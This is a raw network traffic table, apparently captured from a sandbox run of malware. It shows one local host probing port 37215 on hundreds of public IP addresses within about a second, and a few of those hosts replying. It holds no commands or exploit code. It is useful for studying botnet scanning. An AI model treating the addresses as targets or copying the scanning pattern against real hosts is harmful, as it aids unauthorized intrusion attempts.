Nov 19, 2023 09:16:04.661411047 CET	45796	37215	192.168.2.23	41.67.127.96
Nov 19, 2023 09:16:04.661421061 CET	45796	37215	192.168.2.23	197.92.180.147
Nov 19, 2023 09:16:04.661421061 CET	45796	37215	192.168.2.23	41.65.97.41
Nov 19, 2023 09:16:04.661421061 CET	45796	37215	192.168.2.23	156.34.10.72
Nov 19, 2023 09:16:04.661425114 CET	45796	37215	192.168.2.23	41.161.24.193
Nov 19, 2023 09:16:04.661449909 CET	45796	37215	192.168.2.23	41.253.159.195
Nov 19, 2023 09:16:04.661453009 CET	45796	37215	192.168.2.23	156.176.168.79
Nov 19, 2023 09:16:04.661453962 CET	45796	37215	192.168.2.23	41.46.191.26
Nov 19, 2023 09:16:04.661457062 CET	45796	37215	192.168.2.23	197.103.79.63
Nov 19, 2023 09:16:04.661458015 CET	45796	37215	192.168.2.23	41.138.23.181
Nov 19, 2023 09:16:04.661458015 CET	45796	37215	192.168.2.23	156.180.241.200
Nov 19, 2023 09:16:04.661464930 CET	45796	37215	192.168.2.23	41.63.108.162
Nov 19, 2023 09:16:04.661467075 CET	45796	37215	192.168.2.23	156.255.35.236
Nov 19, 2023 09:16:04.661473989 CET	45796	37215	192.168.2.23	41.178.242.177
Nov 19, 2023 09:16:04.661485910 CET	45796	37215	192.168.2.23	41.126.207.65
Nov 19, 2023 09:16:04.661499977 CET	45796	37215	192.168.2.23	156.47.84.2
Nov 19, 2023 09:16:04.661509037 CET	45796	37215	192.168.2.23	156.158.240.218
Nov 19, 2023 09:16:04.661509991 CET	45796	37215	192.168.2.23	156.71.97.43
Nov 19, 2023 09:16:04.661510944 CET	45796	37215	192.168.2.23	41.127.173.174
Nov 19, 2023 09:16:04.661520958 CET	45796	37215	192.168.2.23	156.109.254.76
Nov 19, 2023 09:16:04.661521912 CET	45796	37215	192.168.2.23	197.219.141.132
Nov 19, 2023 09:16:04.661524057 CET	45796	37215	192.168.2.23	156.12.169.9
Nov 19, 2023 09:16:04.661525011 CET	45796	37215	192.168.2.23	197.7.208.33
Nov 19, 2023 09:16:04.661525011 CET	45796	37215	192.168.2.23	197.143.125.145
Nov 19, 2023 09:16:04.661534071 CET	45796	37215	192.168.2.23	41.92.4.148
Nov 19, 2023 09:16:04.661534071 CET	45796	37215	192.168.2.23	197.229.150.130
Nov 19, 2023 09:16:04.661547899 CET	45796	37215	192.168.2.23	156.2.204.230
Nov 19, 2023 09:16:04.661547899 CET	45796	37215	192.168.2.23	41.189.21.101
Nov 19, 2023 09:16:04.661549091 CET	45796	37215	192.168.2.23	197.146.202.232
Nov 19, 2023 09:16:04.661561966 CET	45796	37215	192.168.2.23	156.224.76.174
Nov 19, 2023 09:16:04.661571980 CET	45796	37215	192.168.2.23	156.200.112.211
Nov 19, 2023 09:16:04.661577940 CET	45796	37215	192.168.2.23	41.4.189.0
Nov 19, 2023 09:16:04.661586046 CET	45796	37215	192.168.2.23	197.115.4.149
Nov 19, 2023 09:16:04.661586046 CET	45796	37215	192.168.2.23	156.50.115.183
Nov 19, 2023 09:16:04.661592960 CET	45796	37215	192.168.2.23	197.108.125.238
Nov 19, 2023 09:16:04.661601067 CET	45796	37215	192.168.2.23	41.237.59.168
Nov 19, 2023 09:16:04.661602020 CET	45796	37215	192.168.2.23	197.151.44.199
Nov 19, 2023 09:16:04.661601067 CET	45796	37215	192.168.2.23	41.3.148.127
Nov 19, 2023 09:16:04.661603928 CET	45796	37215	192.168.2.23	156.239.155.84
Nov 19, 2023 09:16:04.661617041 CET	45796	37215	192.168.2.23	197.224.203.13
Nov 19, 2023 09:16:04.661617041 CET	45796	37215	192.168.2.23	41.109.6.192
Nov 19, 2023 09:16:04.661617041 CET	45796	37215	192.168.2.23	197.44.78.229
Nov 19, 2023 09:16:04.661624908 CET	45796	37215	192.168.2.23	197.126.82.160
Nov 19, 2023 09:16:04.661637068 CET	45796	37215	192.168.2.23	156.124.102.164
Nov 19, 2023 09:16:04.661644936 CET	45796	37215	192.168.2.23	197.245.135.14
Nov 19, 2023 09:16:04.661648989 CET	45796	37215	192.168.2.23	41.180.189.180
Nov 19, 2023 09:16:04.661653996 CET	45796	37215	192.168.2.23	41.18.170.157
Nov 19, 2023 09:16:04.661658049 CET	45796	37215	192.168.2.23	41.29.135.215
Nov 19, 2023 09:16:04.661663055 CET	45796	37215	192.168.2.23	197.202.10.130
Nov 19, 2023 09:16:04.661675930 CET	45796	37215	192.168.2.23	41.6.34.85
Nov 19, 2023 09:16:04.661679029 CET	45796	37215	192.168.2.23	41.149.204.39
Nov 19, 2023 09:16:04.661684036 CET	45796	37215	192.168.2.23	197.3.10.207
Nov 19, 2023 09:16:04.661694050 CET	45796	37215	192.168.2.23	197.195.92.26
Nov 19, 2023 09:16:04.661694050 CET	45796	37215	192.168.2.23	197.211.64.52
Nov 19, 2023 09:16:04.758611917 CET	37215	45796	156.238.13.11	192.168.2.23
Nov 19, 2023 09:16:04.790281057 CET	37215	45796	156.154.121.66	192.168.2.23
Nov 19, 2023 09:16:04.903414011 CET	37215	45796	197.13.153.212	192.168.2.23
Nov 19, 2023 09:16:04.957475901 CET	37215	45796	156.251.176.4	192.168.2.23
Nov 19, 2023 09:16:04.969810009 CET	37215	45796	197.255.156.48	192.168.2.23
Nov 19, 2023 09:16:04.983201981 CET	37215	45796	156.240.4.203	192.168.2.23
Nov 19, 2023 09:16:05.005044937 CET	37215	45796	197.220.16.122	192.168.2.23
Nov 19, 2023 09:16:05.019223928 CET	37215	45796	197.232.51.103	192.168.2.23
Nov 19, 2023 09:16:05.022257090 CET	37215	45796	197.155.75.96	192.168.2.23
Nov 19, 2023 09:16:05.662008047 CET	45796	37215	192.168.2.23	41.154.143.53
Nov 19, 2023 09:16:05.662031889 CET	45796	37215	192.168.2.23	156.242.196.240
Nov 19, 2023 09:16:05.662034988 CET	45796	37215	192.168.2.23	156.249.51.9
Nov 19, 2023 09:16:05.662035942 CET	45796	37215	192.168.2.23	156.35.127.168
Nov 19, 2023 09:16:05.662044048 CET	45796	37215	192.168.2.23	41.194.115.54
Nov 19, 2023 09:16:05.662072897 CET	45796	37215	192.168.2.23	197.230.247.78
Nov 19, 2023 09:16:05.662072897 CET	45796	37215	192.168.2.23	156.180.89.32
Nov 19, 2023 09:16:05.662072897 CET	45796	37215	192.168.2.23	41.254.199.53
Nov 19, 2023 09:16:05.662084103 CET	45796	37215	192.168.2.23	41.30.37.245
Nov 19, 2023 09:16:05.662084103 CET	45796	37215	192.168.2.23	156.149.236.221
Nov 19, 2023 09:16:05.662086964 CET	45796	37215	192.168.2.23	156.141.45.160
Nov 19, 2023 09:16:05.662091970 CET	45796	37215	192.168.2.23	156.244.206.109
Nov 19, 2023 09:16:05.662107944 CET	45796	37215	192.168.2.23	41.170.122.172
Nov 19, 2023 09:16:05.662142992 CET	45796	37215	192.168.2.23	156.177.148.240
Nov 19, 2023 09:16:05.662142992 CET	45796	37215	192.168.2.23	41.191.166.39
Nov 19, 2023 09:16:05.662142992 CET	45796	37215	192.168.2.23	197.191.158.126
Nov 19, 2023 09:16:05.662142992 CET	45796	37215	192.168.2.23	156.182.4.52
Nov 19, 2023 09:16:05.662194967 CET	45796	37215	192.168.2.23	156.253.102.30
Nov 19, 2023 09:16:05.662197113 CET	45796	37215	192.168.2.23	41.146.243.31
Nov 19, 2023 09:16:05.662197113 CET	45796	37215	192.168.2.23	197.81.86.245
Nov 19, 2023 09:16:05.662197113 CET	45796	37215	192.168.2.23	156.184.13.183
Nov 19, 2023 09:16:05.662204027 CET	45796	37215	192.168.2.23	41.253.6.92
Nov 19, 2023 09:16:05.662204027 CET	45796	37215	192.168.2.23	41.95.117.176
Nov 19, 2023 09:16:05.662204027 CET	45796	37215	192.168.2.23	41.202.222.65
Nov 19, 2023 09:16:05.662204027 CET	45796	37215	192.168.2.23	197.64.153.194
Nov 19, 2023 09:16:05.662208080 CET	45796	37215	192.168.2.23	197.133.57.68
Nov 19, 2023 09:16:05.662208080 CET	45796	37215	192.168.2.23	41.254.39.112
Nov 19, 2023 09:16:05.662208080 CET	45796	37215	192.168.2.23	41.1.225.255
Nov 19, 2023 09:16:05.662208080 CET	45796	37215	192.168.2.23	197.113.131.208
Nov 19, 2023 09:16:05.662208080 CET	45796	37215	192.168.2.23	41.218.225.142
Nov 19, 2023 09:16:05.662208080 CET	45796	37215	192.168.2.23	197.210.125.70
Nov 19, 2023 09:16:05.662210941 CET	45796	37215	192.168.2.23	156.99.213.91
Nov 19, 2023 09:16:05.662210941 CET	45796	37215	192.168.2.23	197.22.160.106
Nov 19, 2023 09:16:05.662213087 CET	45796	37215	192.168.2.23	197.1.175.98
Nov 19, 2023 09:16:05.662210941 CET	45796	37215	192.168.2.23	156.64.190.37
Nov 19, 2023 09:16:05.662210941 CET	45796	37215	192.168.2.23	197.197.248.47
Nov 19, 2023 09:16:05.662244081 CET	45796	37215	192.168.2.23	197.21.35.191
Nov 19, 2023 09:16:05.662244081 CET	45796	37215	192.168.2.23	197.143.71.199
Nov 19, 2023 09:16:05.662244081 CET	45796	37215	192.168.2.23	41.149.250.50
Nov 19, 2023 09:16:05.662244081 CET	45796	37215	192.168.2.23	156.11.204.54
Nov 19, 2023 09:16:05.662244081 CET	45796	37215	192.168.2.23	156.194.164.148
Nov 19, 2023 09:16:05.662244081 CET	45796	37215	192.168.2.23	156.14.187.44
Nov 19, 2023 09:16:05.662244081 CET	45796	37215	192.168.2.23	156.239.219.100
Nov 19, 2023 09:16:05.662244081 CET	45796	37215	192.168.2.23	197.196.112.79
Nov 19, 2023 09:16:05.662244081 CET	45796	37215	192.168.2.23	197.36.255.57
Nov 19, 2023 09:16:05.662244081 CET	45796	37215	192.168.2.23	197.136.17.137
Nov 19, 2023 09:16:05.662244081 CET	45796	37215	192.168.2.23	156.70.205.53
Nov 19, 2023 09:16:05.662235975 CET	45796	37215	192.168.2.23	156.116.125.139
Nov 19, 2023 09:16:05.662250042 CET	45796	37215	192.168.2.23	41.20.133.158
Nov 19, 2023 09:16:05.662250996 CET	45796	37215	192.168.2.23	41.14.215.80
Nov 19, 2023 09:16:05.662250996 CET	45796	37215	192.168.2.23	41.67.243.130
Nov 19, 2023 09:16:05.662252903 CET	45796	37215	192.168.2.23	41.104.189.158
Nov 19, 2023 09:16:05.662252903 CET	45796	37215	192.168.2.23	41.139.37.175
Nov 19, 2023 09:16:05.662252903 CET	45796	37215	192.168.2.23	41.12.57.242
Nov 19, 2023 09:16:05.662236929 CET	45796	37215	192.168.2.23	41.50.208.162
Nov 19, 2023 09:16:05.662236929 CET	45796	37215	192.168.2.23	156.40.67.253
Nov 19, 2023 09:16:05.662236929 CET	45796	37215	192.168.2.23	156.112.74.70
Nov 19, 2023 09:16:05.662236929 CET	45796	37215	192.168.2.23	41.241.109.87
Nov 19, 2023 09:16:05.662236929 CET	45796	37215	192.168.2.23	156.238.2.11
Nov 19, 2023 09:16:05.662236929 CET	45796	37215	192.168.2.23	156.49.108.59
Nov 19, 2023 09:16:05.662236929 CET	45796	37215	192.168.2.23	156.188.254.228
Nov 19, 2023 09:16:05.662264109 CET	45796	37215	192.168.2.23	41.116.123.25
Nov 19, 2023 09:16:05.662264109 CET	45796	37215	192.168.2.23	156.31.255.146
Nov 19, 2023 09:16:05.662264109 CET	45796	37215	192.168.2.23	156.125.201.236
Nov 19, 2023 09:16:05.662264109 CET	45796	37215	192.168.2.23	197.51.36.37
Nov 19, 2023 09:16:05.662290096 CET	45796	37215	192.168.2.23	156.232.174.163
Nov 19, 2023 09:16:05.662290096 CET	45796	37215	192.168.2.23	197.60.178.80
Nov 19, 2023 09:16:05.662291050 CET	45796	37215	192.168.2.23	197.211.104.158
Nov 19, 2023 09:16:05.662291050 CET	45796	37215	192.168.2.23	156.17.102.105
Nov 19, 2023 09:16:05.662292004 CET	45796	37215	192.168.2.23	41.189.211.115
Nov 19, 2023 09:16:05.662291050 CET	45796	37215	192.168.2.23	197.136.7.139
Nov 19, 2023 09:16:05.662292004 CET	45796	37215	192.168.2.23	41.189.253.244
Nov 19, 2023 09:16:05.662292957 CET	45796	37215	192.168.2.23	156.146.14.104
Nov 19, 2023 09:16:05.662292004 CET	45796	37215	192.168.2.23	41.120.171.72
Nov 19, 2023 09:16:05.662292957 CET	45796	37215	192.168.2.23	197.198.26.135
Nov 19, 2023 09:16:05.662292004 CET	45796	37215	192.168.2.23	156.131.252.155
Nov 19, 2023 09:16:05.662292957 CET	45796	37215	192.168.2.23	197.13.197.185
Nov 19, 2023 09:16:05.662295103 CET	45796	37215	192.168.2.23	41.54.153.124
Nov 19, 2023 09:16:05.662292957 CET	45796	37215	192.168.2.23	156.237.153.32
Nov 19, 2023 09:16:05.662295103 CET	45796	37215	192.168.2.23	156.55.21.96
Nov 19, 2023 09:16:05.662313938 CET	45796	37215	192.168.2.23	41.148.173.56
Nov 19, 2023 09:16:05.662319899 CET	45796	37215	192.168.2.23	156.7.13.102
Nov 19, 2023 09:16:05.662319899 CET	45796	37215	192.168.2.23	197.149.213.28
Nov 19, 2023 09:16:05.662319899 CET	45796	37215	192.168.2.23	197.78.28.149
Nov 19, 2023 09:16:05.662319899 CET	45796	37215	192.168.2.23	41.201.167.8
Nov 19, 2023 09:16:05.662321091 CET	45796	37215	192.168.2.23	197.202.7.224
Nov 19, 2023 09:16:05.662324905 CET	45796	37215	192.168.2.23	41.237.170.15
Nov 19, 2023 09:16:05.662333012 CET	45796	37215	192.168.2.23	156.120.58.3
Nov 19, 2023 09:16:05.662333012 CET	45796	37215	192.168.2.23	156.49.215.33
Nov 19, 2023 09:16:05.662338018 CET	45796	37215	192.168.2.23	197.134.222.32
Nov 19, 2023 09:16:05.662338018 CET	45796	37215	192.168.2.23	41.198.221.11
Nov 19, 2023 09:16:05.662338018 CET	45796	37215	192.168.2.23	41.152.124.26
Nov 19, 2023 09:16:05.662338018 CET	45796	37215	192.168.2.23	197.75.151.139
Nov 19, 2023 09:16:05.662338018 CET	45796	37215	192.168.2.23	156.132.3.156
Nov 19, 2023 09:16:05.662338018 CET	45796	37215	192.168.2.23	41.217.212.41
Nov 19, 2023 09:16:05.662338018 CET	45796	37215	192.168.2.23	41.245.117.228
Nov 19, 2023 09:16:05.662338972 CET	45796	37215	192.168.2.23	41.226.39.59
Nov 19, 2023 09:16:05.662338018 CET	45796	37215	192.168.2.23	197.175.238.185
Nov 19, 2023 09:16:05.662338972 CET	45796	37215	192.168.2.23	197.4.133.186
Nov 19, 2023 09:16:05.662338972 CET	45796	37215	192.168.2.23	41.40.198.149
Nov 19, 2023 09:16:05.662338972 CET	45796	37215	192.168.2.23	156.72.126.229
Nov 19, 2023 09:16:05.662338972 CET	45796	37215	192.168.2.23	41.192.139.9
Nov 19, 2023 09:16:05.662338972 CET	45796	37215	192.168.2.23	41.232.71.201
Nov 19, 2023 09:16:05.662338972 CET	45796	37215	192.168.2.23	197.84.53.150
Nov 19, 2023 09:16:05.662347078 CET	45796	37215	192.168.2.23	41.147.109.0
Nov 19, 2023 09:16:05.662347078 CET	45796	37215	192.168.2.23	156.121.161.151
Nov 19, 2023 09:16:05.662347078 CET	45796	37215	192.168.2.23	41.44.42.113
Nov 19, 2023 09:16:05.662347078 CET	45796	37215	192.168.2.23	197.5.136.75
Nov 19, 2023 09:16:05.662363052 CET	45796	37215	192.168.2.23	197.105.198.56
Nov 19, 2023 09:16:05.662363052 CET	45796	37215	192.168.2.23	41.11.99.145
Nov 19, 2023 09:16:05.662363052 CET	45796	37215	192.168.2.23	41.248.27.49
Nov 19, 2023 09:16:05.662363052 CET	45796	37215	192.168.2.23	156.177.207.116
Nov 19, 2023 09:16:05.662363052 CET	45796	37215	192.168.2.23	197.214.49.159
Nov 19, 2023 09:16:05.662372112 CET	45796	37215	192.168.2.23	197.182.214.80
Nov 19, 2023 09:16:05.662363052 CET	45796	37215	192.168.2.23	156.214.124.200
Nov 19, 2023 09:16:05.662372112 CET	45796	37215	192.168.2.23	197.93.198.119
Nov 19, 2023 09:16:05.662363052 CET	45796	37215	192.168.2.23	197.156.149.64
Nov 19, 2023 09:16:05.662363052 CET	45796	37215	192.168.2.23	41.24.165.88
Nov 19, 2023 09:16:05.662363052 CET	45796	37215	192.168.2.23	156.214.195.254
Nov 19, 2023 09:16:05.662363052 CET	45796	37215	192.168.2.23	156.11.52.104
Nov 19, 2023 09:16:05.662363052 CET	45796	37215	192.168.2.23	156.254.104.101
Nov 19, 2023 09:16:05.662400961 CET	45796	37215	192.168.2.23	156.216.233.2
Nov 19, 2023 09:16:05.662421942 CET	45796	37215	192.168.2.23	197.37.188.126
Nov 19, 2023 09:16:05.662421942 CET	45796	37215	192.168.2.23	156.147.187.222
Nov 19, 2023 09:16:05.662421942 CET	45796	37215	192.168.2.23	156.24.44.237
Nov 19, 2023 09:16:05.662421942 CET	45796	37215	192.168.2.23	41.238.51.131
Nov 19, 2023 09:16:05.662421942 CET	45796	37215	192.168.2.23	197.15.233.129
Nov 19, 2023 09:16:05.662421942 CET	45796	37215	192.168.2.23	156.139.184.30
Nov 19, 2023 09:16:05.662421942 CET	45796	37215	192.168.2.23	197.39.136.8
Nov 19, 2023 09:16:05.662421942 CET	45796	37215	192.168.2.23	156.246.68.202
Nov 19, 2023 09:16:05.662421942 CET	45796	37215	192.168.2.23	197.243.227.81
Nov 19, 2023 09:16:05.662436962 CET	45796	37215	192.168.2.23	197.75.59.172
Nov 19, 2023 09:16:05.662436962 CET	45796	37215	192.168.2.23	197.135.161.47
Nov 19, 2023 09:16:05.662436962 CET	45796	37215	192.168.2.23	197.9.16.79
Nov 19, 2023 09:16:05.662436962 CET	45796	37215	192.168.2.23	41.123.134.210
Nov 19, 2023 09:16:05.662436962 CET	45796	37215	192.168.2.23	156.177.83.222
Nov 19, 2023 09:16:05.662436962 CET	45796	37215	192.168.2.23	41.3.93.84
Nov 19, 2023 09:16:05.662437916 CET	45796	37215	192.168.2.23	197.156.51.92
Nov 19, 2023 09:16:05.662437916 CET	45796	37215	192.168.2.23	41.47.190.121
Nov 19, 2023 09:16:05.662445068 CET	45796	37215	192.168.2.23	156.160.154.82
Nov 19, 2023 09:16:05.662446022 CET	45796	37215	192.168.2.23	197.47.235.165
Nov 19, 2023 09:16:05.662446022 CET	45796	37215	192.168.2.23	41.193.41.73
Nov 19, 2023 09:16:05.662446022 CET	45796	37215	192.168.2.23	197.17.64.88
Nov 19, 2023 09:16:05.662446022 CET	45796	37215	192.168.2.23	156.253.121.238
Nov 19, 2023 09:16:05.662446022 CET	45796	37215	192.168.2.23	197.69.233.248
Nov 19, 2023 09:16:05.662446022 CET	45796	37215	192.168.2.23	197.65.148.164
Nov 19, 2023 09:16:05.662446022 CET	45796	37215	192.168.2.23	197.177.189.58
Nov 19, 2023 09:16:05.662476063 CET	45796	37215	192.168.2.23	197.76.181.89
Nov 19, 2023 09:16:05.662480116 CET	45796	37215	192.168.2.23	197.184.245.110
Nov 19, 2023 09:16:05.662480116 CET	45796	37215	192.168.2.23	41.28.244.52
Nov 19, 2023 09:16:05.662493944 CET	45796	37215	192.168.2.23	156.165.17.42
Nov 19, 2023 09:16:05.662493944 CET	45796	37215	192.168.2.23	41.21.96.6
Nov 19, 2023 09:16:05.662493944 CET	45796	37215	192.168.2.23	197.162.66.138
Nov 19, 2023 09:16:05.662493944 CET	45796	37215	192.168.2.23	156.70.18.96
Nov 19, 2023 09:16:05.662493944 CET	45796	37215	192.168.2.23	156.105.58.79
Nov 19, 2023 09:16:05.662493944 CET	45796	37215	192.168.2.23	156.219.28.61
Nov 19, 2023 09:16:05.662493944 CET	45796	37215	192.168.2.23	41.105.202.219
Nov 19, 2023 09:16:05.662493944 CET	45796	37215	192.168.2.23	156.103.55.10
Nov 19, 2023 09:16:05.662498951 CET	45796	37215	192.168.2.23	41.239.6.200
Nov 19, 2023 09:16:05.662498951 CET	45796	37215	192.168.2.23	156.88.149.16
Nov 19, 2023 09:16:05.662509918 CET	45796	37215	192.168.2.23	156.195.152.59
Nov 19, 2023 09:16:05.662509918 CET	45796	37215	192.168.2.23	41.184.1.91
Nov 19, 2023 09:16:05.662509918 CET	45796	37215	192.168.2.23	156.186.208.117
Nov 19, 2023 09:16:05.662509918 CET	45796	37215	192.168.2.23	197.65.139.176
Nov 19, 2023 09:16:05.662512064 CET	45796	37215	192.168.2.23	41.37.8.238
Nov 19, 2023 09:16:05.662516117 CET	45796	37215	192.168.2.23	197.27.252.87
Nov 19, 2023 09:16:05.662516117 CET	45796	37215	192.168.2.23	156.5.99.189
Nov 19, 2023 09:16:05.662516117 CET	45796	37215	192.168.2.23	41.124.67.76
Nov 19, 2023 09:16:05.662516117 CET	45796	37215	192.168.2.23	156.53.76.83
Nov 19, 2023 09:16:05.662516117 CET	45796	37215	192.168.2.23	41.240.205.160
Nov 19, 2023 09:16:05.662516117 CET	45796	37215	192.168.2.23	197.225.160.154
Nov 19, 2023 09:16:05.662516117 CET	45796	37215	192.168.2.23	197.47.72.29
Nov 19, 2023 09:16:05.662517071 CET	45796	37215	192.168.2.23	156.236.230.54
Nov 19, 2023 09:16:05.662522078 CET	45796	37215	192.168.2.23	41.228.232.51
Nov 19, 2023 09:16:05.662523031 CET	45796	37215	192.168.2.23	197.74.134.123
Nov 19, 2023 09:16:05.662523031 CET	45796	37215	192.168.2.23	156.24.120.120
Nov 19, 2023 09:16:05.662523031 CET	45796	37215	192.168.2.23	197.124.17.154
Nov 19, 2023 09:16:05.662523031 CET	45796	37215	192.168.2.23	156.183.129.147
Nov 19, 2023 09:16:05.662523031 CET	45796	37215	192.168.2.23	41.105.243.13
Nov 19, 2023 09:16:05.662564039 CET	45796	37215	192.168.2.23	156.77.163.59
Nov 19, 2023 09:16:05.662592888 CET	45796	37215	192.168.2.23	197.38.176.182
Nov 19, 2023 09:16:05.662597895 CET	45796	37215	192.168.2.23	156.90.19.188
Nov 19, 2023 09:16:05.662600994 CET	45796	37215	192.168.2.23	197.85.81.250
Nov 19, 2023 09:16:05.662602901 CET	45796	37215	192.168.2.23	156.163.255.13
Nov 19, 2023 09:16:05.662600994 CET	45796	37215	192.168.2.23	197.84.242.37
Nov 19, 2023 09:16:05.662600994 CET	45796	37215	192.168.2.23	156.200.181.33
Nov 19, 2023 09:16:05.662606001 CET	45796	37215	192.168.2.23	156.16.239.171
Nov 19, 2023 09:16:05.662600994 CET	45796	37215	192.168.2.23	156.111.89.40
Nov 19, 2023 09:16:05.662606001 CET	45796	37215	192.168.2.23	197.79.250.11
Nov 19, 2023 09:16:05.662600994 CET	45796	37215	192.168.2.23	156.107.233.180
Nov 19, 2023 09:16:05.662606001 CET	45796	37215	192.168.2.23	41.172.102.235
Nov 19, 2023 09:16:05.662600994 CET	45796	37215	192.168.2.23	41.199.8.144
Nov 19, 2023 09:16:05.662606001 CET	45796	37215	192.168.2.23	156.113.216.65
Nov 19, 2023 09:16:05.662601948 CET	45796	37215	192.168.2.23	41.199.143.37
Nov 19, 2023 09:16:05.662601948 CET	45796	37215	192.168.2.23	41.90.119.205
Nov 19, 2023 09:16:05.662630081 CET	45796	37215	192.168.2.23	156.87.31.160
Nov 19, 2023 09:16:05.662630081 CET	45796	37215	192.168.2.23	156.52.192.104
Nov 19, 2023 09:16:05.662630081 CET	45796	37215	192.168.2.23	197.108.104.12
Nov 19, 2023 09:16:05.662630081 CET	45796	37215	192.168.2.23	197.165.95.46
Nov 19, 2023 09:16:05.662630081 CET	45796	37215	192.168.2.23	197.4.16.106
Nov 19, 2023 09:16:05.662630081 CET	45796	37215	192.168.2.23	156.214.100.3
Nov 19, 2023 09:16:05.662630081 CET	45796	37215	192.168.2.23	156.225.226.115
Nov 19, 2023 09:16:05.662631035 CET	45796	37215	192.168.2.23	156.130.21.179
Nov 19, 2023 09:16:05.662661076 CET	45796	37215	192.168.2.23	156.18.211.87
Nov 19, 2023 09:16:05.662661076 CET	45796	37215	192.168.2.23	156.166.135.73
Nov 19, 2023 09:16:05.662661076 CET	45796	37215	192.168.2.23	197.48.66.251
Nov 19, 2023 09:16:05.662661076 CET	45796	37215	192.168.2.23	197.210.99.52
Nov 19, 2023 09:16:05.662661076 CET	45796	37215	192.168.2.23	197.235.243.125
Nov 19, 2023 09:16:05.662662983 CET	45796	37215	192.168.2.23	197.248.218.119
Nov 19, 2023 09:16:05.662662983 CET	45796	37215	192.168.2.23	156.4.86.208
Nov 19, 2023 09:16:05.662662983 CET	45796	37215	192.168.2.23	156.254.60.202
Nov 19, 2023 09:16:05.662662983 CET	45796	37215	192.168.2.23	197.121.50.195
Nov 19, 2023 09:16:05.662662983 CET	45796	37215	192.168.2.23	41.38.183.138
Nov 19, 2023 09:16:05.662663937 CET	45796	37215	192.168.2.23	156.235.216.179
Nov 19, 2023 09:16:05.662663937 CET	45796	37215	192.168.2.23	197.126.237.159
Nov 19, 2023 09:16:05.662663937 CET	45796	37215	192.168.2.23	197.2.134.133
Nov 19, 2023 09:16:05.662664890 CET	45796	37215	192.168.2.23	197.28.34.214
Nov 19, 2023 09:16:05.662663937 CET	45796	37215	192.168.2.23	156.233.124.102
Nov 19, 2023 09:16:05.662664890 CET	45796	37215	192.168.2.23	197.121.191.101
Nov 19, 2023 09:16:05.662667990 CET	45796	37215	192.168.2.23	197.0.172.220
Nov 19, 2023 09:16:05.662668943 CET	45796	37215	192.168.2.23	156.100.250.230
Nov 19, 2023 09:16:05.662671089 CET	45796	37215	192.168.2.23	156.22.187.127
Nov 19, 2023 09:16:05.662668943 CET	45796	37215	192.168.2.23	197.139.194.98
Nov 19, 2023 09:16:05.662671089 CET	45796	37215	192.168.2.23	156.240.136.186
Nov 19, 2023 09:16:05.662668943 CET	45796	37215	192.168.2.23	197.46.68.35
Nov 19, 2023 09:16:05.662671089 CET	45796	37215	192.168.2.23	41.33.184.129
Nov 19, 2023 09:16:05.662671089 CET	45796	37215	192.168.2.23	156.211.143.207
Nov 19, 2023 09:16:05.662668943 CET	45796	37215	192.168.2.23	197.22.31.230
Nov 19, 2023 09:16:05.662671089 CET	45796	37215	192.168.2.23	156.18.190.197
Nov 19, 2023 09:16:05.662668943 CET	45796	37215	192.168.2.23	41.201.121.96
Nov 19, 2023 09:16:05.662671089 CET	45796	37215	192.168.2.23	156.133.106.106
Nov 19, 2023 09:16:05.662671089 CET	45796	37215	192.168.2.23	197.94.215.208
Nov 19, 2023 09:16:05.662671089 CET	45796	37215	192.168.2.23	41.237.88.47
Nov 19, 2023 09:16:05.662668943 CET	45796	37215	192.168.2.23	156.0.64.134
Nov 19, 2023 09:16:05.662691116 CET	45796	37215	192.168.2.23	41.67.188.227
Nov 19, 2023 09:16:05.662699938 CET	45796	37215	192.168.2.23	156.129.146.144
Nov 19, 2023 09:16:05.662699938 CET	45796	37215	192.168.2.23	41.35.92.215
Nov 19, 2023 09:16:05.662699938 CET	45796	37215	192.168.2.23	41.132.183.78
Nov 19, 2023 09:16:05.662699938 CET	45796	37215	192.168.2.23	41.197.249.0
Nov 19, 2023 09:16:05.662699938 CET	45796	37215	192.168.2.23	156.76.115.177
Nov 19, 2023 09:16:05.662704945 CET	45796	37215	192.168.2.23	41.179.53.83
Nov 19, 2023 09:16:05.662704945 CET	45796	37215	192.168.2.23	197.72.9.169
Nov 19, 2023 09:16:05.662717104 CET	45796	37215	192.168.2.23	156.180.72.141
Nov 19, 2023 09:16:05.662717104 CET	45796	37215	192.168.2.23	197.149.53.62
Nov 19, 2023 09:16:05.662717104 CET	45796	37215	192.168.2.23	156.39.64.151
Nov 19, 2023 09:16:05.662717104 CET	45796	37215	192.168.2.23	197.62.116.123
Nov 19, 2023 09:16:05.662719011 CET	45796	37215	192.168.2.23	197.21.176.0
Nov 19, 2023 09:16:05.662717104 CET	45796	37215	192.168.2.23	197.24.223.204
Nov 19, 2023 09:16:05.662734985 CET	45796	37215	192.168.2.23	41.207.189.200
Nov 19, 2023 09:16:05.662734985 CET	45796	37215	192.168.2.23	156.77.134.145
Nov 19, 2023 09:16:05.662734985 CET	45796	37215	192.168.2.23	197.229.248.85
Nov 19, 2023 09:16:05.662734985 CET	45796	37215	192.168.2.23	197.178.225.33
Nov 19, 2023 09:16:05.662744999 CET	45796	37215	192.168.2.23	41.97.246.208
Nov 19, 2023 09:16:05.662772894 CET	45796	37215	192.168.2.23	41.43.216.45
Nov 19, 2023 09:16:05.662772894 CET	45796	37215	192.168.2.23	197.59.161.221
Nov 19, 2023 09:16:05.662772894 CET	45796	37215	192.168.2.23	156.129.66.27
Nov 19, 2023 09:16:05.662772894 CET	45796	37215	192.168.2.23	156.99.62.149
Nov 19, 2023 09:16:05.662772894 CET	45796	37215	192.168.2.23	41.110.115.178
Nov 19, 2023 09:16:05.662772894 CET	45796	37215	192.168.2.23	41.147.161.241
Nov 19, 2023 09:16:05.662774086 CET	45796	37215	192.168.2.23	41.247.4.164
Nov 19, 2023 09:16:05.662781000 CET	45796	37215	192.168.2.23	41.87.45.170
Nov 19, 2023 09:16:05.662781000 CET	45796	37215	192.168.2.23	197.251.160.4
Nov 19, 2023 09:16:05.662781000 CET	45796	37215	192.168.2.23	197.101.28.21
Nov 19, 2023 09:16:05.662781000 CET	45796	37215	192.168.2.23	41.49.9.222
Nov 19, 2023 09:16:05.662781000 CET	45796	37215	192.168.2.23	156.136.140.244
Nov 19, 2023 09:16:05.662781000 CET	45796	37215	192.168.2.23	41.149.175.56
Nov 19, 2023 09:16:05.662781000 CET	45796	37215	192.168.2.23	197.146.60.52
Nov 19, 2023 09:16:05.662781954 CET	45796	37215	192.168.2.23	156.165.147.42
Nov 19, 2023 09:16:05.662789106 CET	45796	37215	192.168.2.23	197.44.236.18
Nov 19, 2023 09:16:05.662791967 CET	45796	37215	192.168.2.23	41.221.65.116
